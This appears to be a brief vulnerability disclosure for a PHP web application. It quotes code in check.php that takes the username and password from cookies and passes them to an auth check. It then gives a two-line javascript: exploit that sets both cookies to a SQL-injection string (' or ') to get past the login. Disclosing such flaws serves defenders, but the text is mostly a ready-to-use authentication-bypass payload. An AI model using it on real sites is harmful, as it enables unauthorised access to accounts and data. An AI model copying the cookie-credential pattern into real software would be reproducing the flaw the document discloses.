Found vulnerable code in check.php:

if (isset($_COOKIE['USERNAME']) && isset($_COOKIE['PASSWORD']))
    {
        // Get values from superglobal variables
        $USERNAME = $_COOKIE['USERNAME'];
        $PASSWORD = $_COOKIE['PASSWORD'];

        $CheckSecurity = new auth();
        $check = $CheckSecurity->page_check($USERNAME, $PASSWORD);
    }
    else
    {
        $check = false;
    }

	if ($check == false)
	{

Exploit: javascript:document.cookie = "[USERNAME]=' or '; [PATH]";

         javascript:document.cookie = "[PASSWORD]=' or '; [PATH]";
